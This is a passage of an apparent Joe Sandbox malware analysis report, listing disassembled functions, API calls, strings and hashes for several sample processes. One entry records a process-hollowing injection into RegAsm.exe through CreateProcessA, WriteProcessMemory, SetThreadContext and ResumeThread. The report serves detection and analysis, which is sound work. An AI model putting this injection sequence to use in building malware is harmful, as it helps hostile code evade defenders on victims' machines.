Instruction ID: cc137df54ae1fcbb63b87987e69a719e9c27c4b31815d0debc5c9b1d2781c89a
Opcode Fuzzy Hash: 2becd82198b95216644133442ecc563e5ef80f5327bc31795fb041598c227e39
Instruction Fuzzy Hash: F8515374B00548ABDB00EBA59891A5F7769DB88304F50D5BBB515BB3C6CA3DCA058F1C

Function 004019DC Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0040C41C,00000000,00401AB4), ref: 00401A09
LocalFree.KERNEL32(0064C2A8,00000000,00401AB4), ref: 00401A1B
VirtualFree.KERNEL32(?,00000000,00008000,0064C2A8,00000000,00401AB4), ref: 00401A3A
LocalFree.KERNEL32(0064D2A8,?,00000000,00008000,0064C2A8,00000000,00401AB4), ref: 00401A79
RtlLeaveCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AA4
RtlDeleteCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AAE

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: 57d208b384dc2f586c03b96f4df297de7af50f17441c1957de60d2bf1c39d9ad
Instruction ID: 5447b05044442752c1d56c7733342563ab4b4f61826a3093f511f794066d9233
Opcode Fuzzy Hash: 57d208b384dc2f586c03b96f4df297de7af50f17441c1957de60d2bf1c39d9ad
Instruction Fuzzy Hash: 91116330341280DAD711ABA59EE2F623668B785748F44437EF444B62F2C67C9840CA9D

Function 00403D02 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 72windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00403D9D
ExitProcess.KERNEL32 ref: 00403DE5

Strings

Error, xrefs: 00403D91
Runtime error at 00000000, xrefs: 00403D96, 00403DA9
9@, xrefs: 00403D29, 00403D34

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: ExitMessageProcess
String ID: Error$Runtime error at 00000000$9@
API String ID: 1220098344-1503883590
Opcode ID: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
Instruction ID: db3008c0e6bc5d60e05df0545d3e9f81ce91e923819fa2a9fb93000da4b6b716
Opcode Fuzzy Hash: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
Instruction Fuzzy Hash: B521F830A04341CAE714EFA59AD17153E98AB49349F04837BD500B73E3C77C8A45C76E

Function 004036B8 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 004036F2
SysAllocStringLen.OLEAUT32(?,00000000), ref: 004036FD
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403710
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 0040371A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403729

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: 759139aa8138bb4f1b890a81a570935fc2f09484a8ccbcda4eb7e9d11bc9ffe5
Instruction ID: 1285967c487f36a4f1f77a8b8e1f1fe351824cacfdb80e5859a13ebcd08b75b2
Opcode Fuzzy Hash: 759139aa8138bb4f1b890a81a570935fc2f09484a8ccbcda4eb7e9d11bc9ffe5
Instruction Fuzzy Hash: 17F068A13442543AF56075A75C43FAB198CCB45BAEF10457FF704FA2C2D8B89D0492BD

Function 00406E10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 113registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,00406F48,?,00000000,00409918,00000000), ref: 00406E4C
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,70000000,?,?,00000000,00000000,00000000,?,00000000,00406F48,?,00000000), ref: 00406EBC

Strings

)q@, xrefs: 00406F3F, 00406E98, 00406EA8, 00406F04, 00406F28, 00406F18, 00406EEF

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: QueryValue
String ID: )q@
API String ID: 3660427363-2284170586
Opcode ID: 32d2d681139902fa63b50b1e86c1c6042aee641263ad409bd5d16b68eaa8278f
Instruction ID: 22a93fbabe645b78fd14ced98f65bd4bcb22fe3fd6f8222f7fa8e6a3c98f8dfc
Opcode Fuzzy Hash: 32d2d681139902fa63b50b1e86c1c6042aee641263ad409bd5d16b68eaa8278f
Instruction Fuzzy Hash: E6415E31D0021AAFDB21DF95C881BAFB7B8EB04704F56447AE901F7280D738AF108B99

Function 00409C88 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,00000000,Setup,00000010), ref: 00409CBD

Strings

The Setup program accepts optional command line parameters./HELP, /?Shows this information./SP-Disables the This will install... Do you wish to continue? prompt at the beginning of Setup./SILENT, /VERYSILENTInstructs Setup to be silent or very si, xrefs: 00409CA1
Setup, xrefs: 00409CAD

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: Message
String ID: Setup$The Setup program accepts optional command line parameters./HELP, /?Shows this information./SP-Disables the This will install... Do you wish to continue? prompt at the beginning of Setup./SILENT, /VERYSILENTInstructs Setup to be silent or very si
API String ID: 2030045667-3271211647
Opcode ID: bc66b1cf8cea732a030952d466b76090b354ad7a58696f118c0a4b0261ee3717
Instruction ID: b8b600ed6bdfe48e96a015bdf4867c85bc36f5512d0f27a60c0f94c744360238
Opcode Fuzzy Hash: bc66b1cf8cea732a030952d466b76090b354ad7a58696f118c0a4b0261ee3717
Instruction Fuzzy Hash: 8EE0E5302482087EE311EA528C13F6A7BACE789B04F600477F900B15C3D6786E00A068

Function 004030DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,0040A60E), ref: 004030E3
GetCommandLineA.KERNEL32(00000000,0040A60E), ref: 004030EE

Strings

U1hd.@, xrefs: 00403103

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: CommandHandleLineModule
String ID: U1hd.@
API String ID: 2123368496-2904493091
Opcode ID: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
Instruction ID: 0f926add87520dc699e98d27074396f9fab16295c11a520b4b5863bd90c7cb52
Opcode Fuzzy Hash: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
Instruction Fuzzy Hash: 03C01274541300CAD328AFF69E8A304B990A385349F40823FA608BA2F1CA7C4201EBDD

Function 004094D8 Relevance: 5.0, APIs: 4, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,0000000D,?,0040ABED,000000FA,00000032,0040AC54), ref: 004094F7
Sleep.KERNEL32(?,?,?,?,0000000D,?,0040ABED,000000FA,00000032,0040AC54), ref: 00409507
GetLastError.KERNEL32(?,?,?,0000000D,?,0040ABED,000000FA,00000032,0040AC54), ref: 0040951A
GetLastError.KERNEL32(?,?,?,0000000D,?,0040ABED,000000FA,00000032,0040AC54), ref: 00409524

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 97bb3b87fdda019371420e794be163fcf62410a15a23215566f33b90e6dc6563
Instruction ID: cd4a420f7ace5638a97e0bdb8a1e9fccbb234b9240edd4770f97938e6011a3cc
Opcode Fuzzy Hash: 97bb3b87fdda019371420e794be163fcf62410a15a23215566f33b90e6dc6563
Instruction Fuzzy Hash: 16F0967360451477CA35A5AF9D81A5F634DDAD1354B10813BE945F3283C538DD0142A9

Analysis Process: EZWvE2OrmenaDZlccT1Fi95O.exePID: 1516, Parent PID: 2724COMMON

Executed Functions

Function 00007FFAAC6003E0 Relevance: 5.5, Strings: 3, Instructions: 1798COMMON

Download Yara Rule

Strings

6, xrefs: 00007FFAAC60141E
"9, xrefs: 00007FFAAC600462
A, xrefs: 00007FFAAC600786

Memory Dump Source

Source File: 00000014.00000002.2762026703.00007FFAAC600000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaac600000_EZWvE2OrmenaDZlccT1Fi95O.jbxd

Similarity

API ID:
String ID: 6$"9$A
API String ID: 0-949737643
Opcode ID: 1ca1f2031687adc526b70c8bf590901fc966baf92476c49efcfab24355255146
Instruction ID: e965c872bad48d2e1eafbcf25d1696fc4d5215014bac2ac7ce22ba0ec4616ce7
Opcode Fuzzy Hash: 1ca1f2031687adc526b70c8bf590901fc966baf92476c49efcfab24355255146
Instruction Fuzzy Hash: EDC2B5B280E7C69FF797D72888555A47FA0EF57300F18A5FAD08EDB193D918A84983C1

Function 00007FFAAC54C628 Relevance: 3.4, APIs: 2, Instructions: 405memorynativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL ref: 00007FFAAC54E04B
VirtualAllocEx.KERNELBASE ref: 00007FFAAC54E3A6

Memory Dump Source

Source File: 00000014.00000002.2759547930.00007FFAAC530000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaac530000_EZWvE2OrmenaDZlccT1Fi95O.jbxd

Similarity

API ID: AllocSectionUnmapViewVirtual
String ID:
API String ID: 3336438485-0
Opcode ID: 637ada614862afc57d743b9d12d93a772983337fc7cf718fa61d8560017556ac
Instruction ID: 3d0268f0dc3a5acaf76663a39bebd439dfc2033c341d8a5d7f038cc250ce97d1
Opcode Fuzzy Hash: 637ada614862afc57d743b9d12d93a772983337fc7cf718fa61d8560017556ac
Instruction Fuzzy Hash: A2C1793290D6998FE704EB6CE8566E97BE0EF96320F08827FE04DC7153DE15A44987D0

Function 00007FFAAC54C768 Relevance: 13.3, APIs: 1, Strings: 6, Instructions: 1072
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

b4, xrefs: 00007FFAAC54D0DA
}, xrefs: 00007FFAAC54C9AA
P~, xrefs: 00007FFAAC54CAF7
0p, xrefs: 00007FFAAC54CAA2
t, xrefs: 00007FFAAC54C9BE
d, xrefs: 00007FFAAC54D034

Memory Dump Source

Source File: 00000014.00000002.2759547930.00007FFAAC530000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaac530000_EZWvE2OrmenaDZlccT1Fi95O.jbxd

Similarity

API ID:
String ID: }$0p$P~$b4$d$t
API String ID: 0-1256151920
Opcode ID: c8284b8a9198a7e4071bbee3e5162152257afbea395059d63da649dc8d0bd9d1
Instruction ID: 8b0b92c5ed02a5a7c266c8a01966a74dbd3ff0a763946600257eda73d5508ec4
Opcode Fuzzy Hash: c8284b8a9198a7e4071bbee3e5162152257afbea395059d63da649dc8d0bd9d1
Instruction Fuzzy Hash: FE621831A8DB8A8FE755DB28C4555747BE6EF97310B1481BAE04EC7193DE24FC0A8781

Function 00007FFAAC54C778 Relevance: 1.6, APIs: 1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2759547930.00007FFAAC530000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaac530000_EZWvE2OrmenaDZlccT1Fi95O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a32870b91c3504190319a243f981f61cc15bb7d2b0df30c66516b3c36c6b7c06
Instruction ID: e141e8cfa5bbc881916c92dd652d5667ca1eb2f0a52b7f8c4a6a4a56c1b17281
Opcode Fuzzy Hash: a32870b91c3504190319a243f981f61cc15bb7d2b0df30c66516b3c36c6b7c06
Instruction Fuzzy Hash: F341153294DA898FE708DB1CD8056E9BBE5EFA6320F14417FE04DD3142DB25B80A87D1

Function 00007FFAAC54C788 Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2759547930.00007FFAAC530000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaac530000_EZWvE2OrmenaDZlccT1Fi95O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fac910bdc8431b54adc5914c3b622d708aeb96f6645a3722c4c8699343fee4d4
Instruction ID: 3302b9558709cee8f97d47089b569ddfcb822f4b06a9f039b1c46b3da62296d3
Opcode Fuzzy Hash: fac910bdc8431b54adc5914c3b622d708aeb96f6645a3722c4c8699343fee4d4
Instruction Fuzzy Hash: 8341143294DA898FE708EB18D8456E97BE5EBA6320F14417FE04DD3142DB20B80A8791

Function 00007FFAAC53302A Relevance: 1.6, APIs: 1, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00007FFAAC533101

Memory Dump Source

Source File: 00000014.00000002.2759547930.00007FFAAC530000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaac530000_EZWvE2OrmenaDZlccT1Fi95O.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8f1aba122cf0009a3d86aa5b77af8886cdf253d960ee037925119b2d7fddec62
Instruction ID: 3c7bf017359a5b57999e84846f23b7083acc09ae6d9ce5b3f22551d919f86d62
Opcode Fuzzy Hash: 8f1aba122cf0009a3d86aa5b77af8886cdf253d960ee037925119b2d7fddec62
Instruction Fuzzy Hash: 1841193090DB898FDB19DB6898466E97FF1EF56321F0442AFD049C31A2CB68A856C791

Function 00007FFAAC600000 Relevance: .4, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2762026703.00007FFAAC600000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaac600000_EZWvE2OrmenaDZlccT1Fi95O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d23aecfc650ad249dc71457d6bfe6bdc4b5c424dbd57e47ef5868dcf773faa14
Instruction ID: 563ea7d32413806a19c07d60df5e7be2b474f0b6d2da101f8bfcf825b578b886
Opcode Fuzzy Hash: d23aecfc650ad249dc71457d6bfe6bdc4b5c424dbd57e47ef5868dcf773faa14
Instruction Fuzzy Hash: 60E1D27180EBC69FE79BD76488655A47FA0EF57300F1991FBD08EDB093DA18A849C381

Function 00007FFAAC6010C9 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2762026703.00007FFAAC600000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaac600000_EZWvE2OrmenaDZlccT1Fi95O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86865f0894294b526b6c058f5c1744053f64f5024fe532c06f63af11f46e1949
Instruction ID: ead4d8c2b8f8cdff3e7c044e78eb286852411dc127c5832ba5cc3c49e9148def
Opcode Fuzzy Hash: 86865f0894294b526b6c058f5c1744053f64f5024fe532c06f63af11f46e1949
Instruction Fuzzy Hash: 8441033680EA899FEB8BDB14C8555A87FB0FF66300B0591EAD04ED7193DA25E849C7C1

Analysis Process: cxK4jj62SNPYFZVNj3t4MZg_.exePID: 1588, Parent PID: 2724COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 026821B9 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0268212B,0268211B), ref: 02682328
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0268233B
Wow64GetThreadContext.KERNEL32(000003A8,00000000), ref: 02682359
ReadProcessMemory.KERNELBASE(000003AC,?,0268216F,00000004,00000000), ref: 0268237D
VirtualAllocEx.KERNELBASE(000003AC,?,?,00003000,00000040), ref: 026823A8
WriteProcessMemory.KERNELBASE(000003AC,00000000,?,?,00000000,?), ref: 02682400
WriteProcessMemory.KERNELBASE(000003AC,00400000,?,?,00000000,?,00000028), ref: 0268244B
WriteProcessMemory.KERNELBASE(000003AC,?,?,00000004,00000000), ref: 02682489
Wow64SetThreadContext.KERNEL32(000003A8,02540000), ref: 026824C5
ResumeThread.KERNELBASE(000003A8), ref: 026824D4

Strings

CreateProcessA, xrefs: 0268226D
WriteProcessMemory, xrefs: 026822CC
GetThreadContext, xrefs: 02682293
ress, xrefs: 02682243
VirtualAlloc, xrefs: 02682280
TerminateProcess, xrefs: 026823B7
aryA, xrefs: 026821FF
Load, xrefs: 026821F7
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 02682327
VirtualAllocEx, xrefs: 026822B9
GetP, xrefs: 0268223B
ResumeThread, xrefs: 026822F5
ReadProcessMemory, xrefs: 026822A6
SetThreadContext, xrefs: 026822DF

Memory Dump Source

Source File: 00000016.00000002.1632127087.0000000002682000.00000040.00000800.00020000.00000000.sdmp, Offset: 02682000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2682000_cxK4jj62SNPYFZVNj3t4MZg_.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: 4b29555441163bdf185a4f702c1aced29474f7c465f895a941d8492cf6dec89a
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: 05B1E57664028AAFDB60CF68CC80BDA77A5FF88714F158524EA0CAB341D774FA51CB94

Function 00A80B90 Relevance: 1.8, APIs: 1, Instructions: 292
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03683590,?,?,?,?,?,?,?,03683590,?,?,00A80A21,?,00000040), ref: 00A80F31

Memory Dump Source

Source File: 00000016.00000002.1600099298.0000000000A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_a80000_cxK4jj62SNPYFZVNj3t4MZg_.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: f7405db9cb1dff1891526206546fd3504e330ace1a985abc3c451223eb456f38
Instruction ID: d1b63857b9c29fa3af2f9ab9afe91bff7c8b7f01dd7d63ab09ad1134bbcc80dc
Opcode Fuzzy Hash: f7405db9cb1dff1891526206546fd3504e330ace1a985abc3c451223eb456f38
Instruction Fuzzy Hash: 27C19C71E042189FCB01DFA9C580AEEFBF2BF58314F248665E858E7245C374AD45CBA4

Function 00A804F0 Relevance: 1.6, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03683590,?,?,?,?,?,?,?,03683590,?,?,00A80A21,?,00000040), ref: 00A80F31

Memory Dump Source

Source File: 00000016.00000002.1600099298.0000000000A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_a80000_cxK4jj62SNPYFZVNj3t4MZg_.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 624417006ac231d95276285d0c9cb2554862c17aed477a83c87ee2e3dae0870a
Instruction ID: 9fe9f65dc2692dca5820db04a94374a9681dcfa0c164914bb901945ce16bd88e
Opcode Fuzzy Hash: 624417006ac231d95276285d0c9cb2554862c17aed477a83c87ee2e3dae0870a
Instruction Fuzzy Hash: A421E0B5D0125DAFCB10DF9AC885ADEFBB4FB08310F10812AE918A7340C3B4A954CFA1

Function 00A2D01D Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000016.00000002.1597388547.0000000000A2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_a2d000_cxK4jj62SNPYFZVNj3t4MZg_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1635f81ebda295288c18bdf609c5de973c61313fa1560e50a3cee1d25abcee24
Instruction ID: 269c607f4f331a5643b80a0c34dd41dd9cd9425a0241203b5e05ee83c2455103
Opcode Fuzzy Hash: 1635f81ebda295288c18bdf609c5de973c61313fa1560e50a3cee1d25abcee24
Instruction Fuzzy Hash: EA01F73140C3149EE7204B19ECC4B67BF98DF41325F18C179EC4A4B293C2799C45CAB1

Function 00A2D01C Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000016.00000002.1597388547.0000000000A2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_a2d000_cxK4jj62SNPYFZVNj3t4MZg_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b779afd0347831fd9bea5d4d980865af39b45a431fbd6d1908882457f0b4ee5d
Instruction ID: 5f9c19ecd23ac3af8acc4df8a236589121bdd694da7e2c882571fe1016033f23
Opcode Fuzzy Hash: b779afd0347831fd9bea5d4d980865af39b45a431fbd6d1908882457f0b4ee5d
Instruction Fuzzy Hash: 86F0C271008354AEE7108B19D884B63FF98EB51334F18C16AED495A293C2799C40CAB1

Analysis Process: RegAsm.exePID: 2156, Parent PID: 1588COMMON

Executed Functions

Function 02D0C830 Relevance: 1.7, APIs: 1, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000021.00000002.1729279747.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2d00000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 48e620a8b04a8857aef48103aed70ecdd54c76274f4b77bc119c59a6e594ec40
Instruction ID: 0dfc3af1c81717aff08a24f3963c1e322dfdb634f937a6eb17dcfa7ed760e494
Opcode Fuzzy Hash: 48e620a8b04a8857aef48103aed70ecdd54c76274f4b77bc119c59a6e594ec40
Instruction Fuzzy Hash: 20712770A10B058FD724DF2AD58579ABBF1FF88214F008A2ED48AD7BA0D774E845CB94

Function 02D0456C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02D05A49

Memory Dump Source

Source File: 00000021.00000002.1729279747.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2d00000_RegAsm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 5cdcd4e44bbc3673bf28b1dba6301eb3a5bcda09bc48c14cd68d237c1518d24e
Instruction ID: 5e744ff65465bfc23b08aca760a0d5654d93bd87b2cb522f67b326da0d5b4b09
Opcode Fuzzy Hash: 5cdcd4e44bbc3673bf28b1dba6301eb3a5bcda09bc48c14cd68d237c1518d24e
Instruction Fuzzy Hash: 8841E371C0071DCBEB24DFAAD8847CEBBB5BF49304F60816AD508AB251DB75694ACF90

Function 02D0598D Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02D05A49

Memory Dump Source

Source File: 00000021.00000002.1729279747.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2d00000_RegAsm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b3ce2101ef5de6a8ca30051230fd4b4210dd757bd27011b5cb45b76b2b81f11a
Instruction ID: b6d8680d4c634a43e59d985d4c984ed2564c983f790b7b78b7b09dbaaa184b63
Opcode Fuzzy Hash: b3ce2101ef5de6a8ca30051230fd4b4210dd757bd27011b5cb45b76b2b81f11a
Instruction Fuzzy Hash: 0441E2B1C00729CFEB24DFAAC9847CDBBB1BF48304F60816AD408AB251DB75694ACF50

Function 02D0E838 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02D0ECCE,?,?,?,?,?), ref: 02D0ED8F

Memory Dump Source

Source File: 00000021.00000002.1729279747.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2d00000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: f81c9aa0b3d1f179f8d3c47f333aa4299c86dc5e189b3bf82acf6c54e9c82d14
